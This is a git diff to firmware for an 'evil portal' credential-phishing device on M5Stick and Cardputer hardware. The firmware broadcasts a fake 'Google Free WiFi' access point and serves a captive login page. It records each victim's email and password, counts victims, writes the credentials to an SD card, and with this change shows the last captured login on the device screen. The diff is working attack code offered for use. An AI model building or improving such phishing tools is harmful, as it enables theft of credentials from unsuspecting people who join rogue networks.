diff --git a/evil-portal/evil-portal.ino b/evil-portal/evil-portal.ino index 22b9e4d..cdc62c8 100644 --- a/evil-portal/evil-portal.ino +++ b/evil-portal/evil-portal.ino @@ -4,11 +4,20 @@ #include #include -// #define M5STICKCPLUS -#define M5CARDPUTER +//#define M5STICKCPLUS +#define M5STICKCPLUS2 +//#define M5CARDPUTER -#if defined(M5STICKCPLUS) && defined(M5CARDPUTER) -#error "Please define only one platform: M5STICKCPLUS or M5CARDPUTER" +#if defined(M5STICKCPLUS) && defined(M5STICKCPLUS2) && defined(M5CARDPUTER) +#error "Please define only one platform: M5STICKCPLUS, M5STICKCPLUS2 or M5CARDPUTER" +#endif + +#if defined(M5STICKCPLUS) +#include +#elif defined(M5STICKCPLUS2) +#include +#elif defined(M5CARDPUTER) +#include #endif #if defined(M5STICKCPLUS) @@ -23,6 +32,18 @@ // #define SD_CS_PIN #endif +#if defined(M5STICKCPLUS2) +#define DISPLAY M5.Lcd +#define SPEAKER M5.Speaker +#define HAS_LED 19 // Number is equivalent to GPIO +#define GPIO_LED 19 +// #define HAS_SDCARD +#define SD_CLK_PIN 0 +#define SD_MISO_PIN 36 //25 +#define SD_MOSI_PIN 26 +// #define SD_CS_PIN +#endif + #if defined(M5CARDPUTER) #define DISPLAY M5Cardputer.Display #define SPEAKER M5Cardputer.Speaker @@ -40,13 +61,7 @@ #include #endif -#if defined(M5STICKCPLUS) -#include -#elif defined(M5CARDPUTER) -#include -#endif - -#define DEFAULT_AP_SSID_NAME "Google WiFi" +#define DEFAULT_AP_SSID_NAME "Google Free WiFi" #define SD_CREDS_PATH "/evil-portal-creds.txt" // #define LANGUAGE_EN_US #define LANGUAGE_PT_BR @@ -76,6 +91,7 @@ int totalCapturedCredentials = 0; int previousTotalCapturedCredentials = -1; // stupid hack but wtfe String capturedCredentialsHtml = ""; +String lastLogin = ""; bool sdcardMounted = false; String apSsidName = String(DEFAULT_AP_SSID_NAME); @@ -107,7 +123,7 @@ void setupDeviceSettings() { while (!Serial && millis() < 1000) ; -#if defined(M5STICKCPLUS) +#if defined(M5STICKCPLUS) || defined(M5STICKCPLUS2) M5.begin(); DISPLAY.setRotation(3); #elif defined(M5CARDPUTER) @@ -141,6 +157,8 @@ bool setupSdCard() { sdcardMounted = true; return true; } +#else + return true; #endif } @@ -160,20 +178,20 @@ void setupWebServer() { #if defined(M5STICKCPLUS) SPEAKER.tone(4000); -#elif defined(M5CARDPUTER) +#elif defined(M5CARDPUTER) || defined(M5STICKCPLUS2) SPEAKER.tone(4000, 50); #endif DISPLAY.print("Victim Login"); - + delay(50); + printHomeToScreen(); + #if defined(M5STICKCPLUS) SPEAKER.mute(); #endif - DISPLAY.fillScreen(BLACK); - #if defined(HAS_LED) blinkLed(); #endif @@ -199,7 +217,6 @@ void loop() { if ((millis() - lastTick) > TICK_TIMER) { lastTick = millis(); - if (totalCapturedCredentials != previousTotalCapturedCredentials) { previousTotalCapturedCredentials = totalCapturedCredentials; @@ -226,6 +243,12 @@ void printHomeToScreen() { DISPLAY.print(apSsidName); DISPLAY.println(""); DISPLAY.printf("Victim Count: %d\n", totalCapturedCredentials); + if (lastLogin != ""){ + DISPLAY.printf("Last login: "); + DISPLAY.print(lastLogin); + DISPLAY.println(""); + } + } String getInputValue(String argName) { @@ -285,6 +308,7 @@ String index_POST() { String email = getInputValue("email"); String password = getInputValue("password"); capturedCredentialsHtml = "
  • Email: " + email + "
    Password: " + password + "
  • " + capturedCredentialsHtml; + lastLogin = String(email + ":" + password).c_str(); #if defined(HAS_SDCARD) appendToFile(SD, SD_CREDS_PATH, String(email + " = " + password).c_str());